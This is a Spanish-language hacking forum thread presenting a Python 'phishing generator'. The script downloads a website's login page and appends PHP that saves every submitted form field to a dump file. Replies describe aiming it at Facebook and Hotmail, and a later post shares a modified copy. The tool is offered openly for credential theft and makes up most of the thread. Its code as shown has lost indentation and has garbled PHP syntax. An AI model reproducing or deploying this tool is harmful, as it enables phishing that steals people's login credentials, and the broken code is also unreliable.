Underc0de - La Casa de los Informáticos

Programación Scripting => Python => Mensaje iniciado por: BigBear en Julio 03, 2011, 09:36:25 PM

Título: [Python] Phising Gen By Doddy H
Publicado por: BigBear en Julio 03, 2011, 09:36:25 PM
Hola a todos

Acabo de terminar esta tool en python para generar los fakes o phising (si es que asi se escribe)
No me dedico mucho a esa parte del hacking , pero hice esta cosa rara porque no
tenia nada que hacer xDD.

Código (python) [Seleccionar]

#!usr/bin/python
#Phising Gen (C) Doddy Hackman

import urllib2,sys,os


def savefile(filename,text):
file = open(filename,"w")
file.write(text)
   

def header() :
print "\n\n--== Phising Gen ==--\n"

def copyright() :
print "\n\n(C) Doddy Hackman 2010\n"
exit(1)

def show() :
print "\n[*] Sintax : ",sys.argv[0]," <web> <filename>\n"

def toma(web) :
return urllib2.urlopen(web).read()


def gen(web,new):
try:
  print "\n[+] Working in the phishing"
  code = toma(web)
  text ='<?php $file fopen("dump.txt""a");foreach($_POST as $uno => $dos) {fwrite($file$uno."=".$dos."\r\n");}foreach($_GET as $tres => $cuatro) {fwrite($file$tres."=".$cuatro."\r\n");}fclose($file);?>'
  print "[+] The fake was save in",new
  savefile(new,code+"\n\n"+text)
except:
  pass

header()

if len(sys.argv) != 3 :
show()

else :
gen(sys.argv[1],sys.argv[2])

copyright()

#The End






Ejemplo de uso


C:/Users/DoddyH/Desktop/Arsenal X parte 2>phising.py http://127.0.0.1/login.php
yeah.php



--== Phising Gen ==--


[+] Working in the phishing
[+] The fake was save in yeah.php


(C) Doddy Hackman 2010



Título: Re:[Python] Phising Gen By Doddy H
Publicado por: Shama|TwoH en Octubre 19, 2011, 09:40:38 PM
Hola, podrias explicar un poco el funcionamiento? :P
Saludos.-
Título: Re:[Python] Phising Gen By Doddy H
Publicado por: blozzter en Octubre 20, 2011, 03:55:13 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola, podrias explicar un poco el funcionamiento? :P
Saludos.-


te lo explico yo.
si hacemos:
phising.py http://www.facebook.com/index.php yeah.php

el script escribirá el archivo "yeah.php" que al ser ejecutado en un servidor con soporte para php, quedaría:

(http://s2.subirimagenes.com/otros/previo/thump_7049271captura.jpg)

en palabras, obtiene el código fuente de una pagina y lo escribe en un archivo.
así es como se empiezan los proyectos de  Phishing (http://es.wikipedia.org/wiki/Phishing)


buen trabajo, Doddy.
Título: Re:[Python] Phising Gen By Doddy H
Publicado por: fortil en Marzo 29, 2012, 11:02:14 AM
EXCELENTE APORTE.

pero no me sirvió para hotmail.com xD. nosé a que se deberá.
Título: Re:[Python] Phising Gen By Doddy H
Publicado por: fortil en Agosto 12, 2012, 03:22:23 PM
Hola

Una pregunta, es que este programa me funcionaba en ubuntu, pero ahora que lo he necesitado y estoy en W7 no sé porque no me va, ustedes saben si es por el SO?

gracias
Título: Re:[Python] Phising Gen By Doddy H
Publicado por: Snifer en Agosto 12, 2012, 03:37:44 PM
Te instalaste Python?¿
Título: Re:[Python] Phising Gen By Doddy H
Publicado por: fortil en Agosto 12, 2012, 05:31:09 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Te instalaste Python?¿

si claro, pero no sé porque no me funciona, es decir sale la lectura del archivo (lo que se imprime) pero no me genera el archivo (php)


he modificado el código para que lo pida al ejecutarse ya que en W7 me tiraba error los argumentos del SYS, pongo este codigo como lo modifiqué y tampoco aparecee las molestas letras de abajo (que como no se mucho de php no sé que era)

Código (python) [Seleccionar]
#!usr/bin/python
#Phising Gen (C) Doddy Hackman Modificado por Fortil

import urllib2,sys,os

web = raw_input('Ingrese la URL (http://www.facebook.com): \n')
new = raw_input('Nombre del archivo final (index.php): \n')

def savefile(filename,text):
file = open(filename,"w")
file.write(text)
     
def header() :
print "\n\n--== Phising Gen ==--\n"

def copyright() :
print "\n\n(C) Doddy Hackman 2010 modificado por Fortil\n"
raw_input('Presiona [ENTER] para salir')
exit(1)

def show() :
print "\n[*] Sintax : ",sys.argv[0]," <web> <filename>\n"

def toma(web) :
return urllib2.urlopen(web).read()


def gen(web,new):
try:
  print "\n[+] Working in the phishing"
  code = toma(web)
  print "[+] The fake was save in",new
  savefile(new,code)
except:
  pass

header()
gen(web,new)
copyright()


#The End